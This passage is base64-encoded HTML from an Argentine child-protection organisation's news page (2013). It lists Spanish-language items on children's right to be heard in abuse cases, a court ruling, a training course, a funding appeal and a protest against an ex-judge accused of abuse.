J0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBi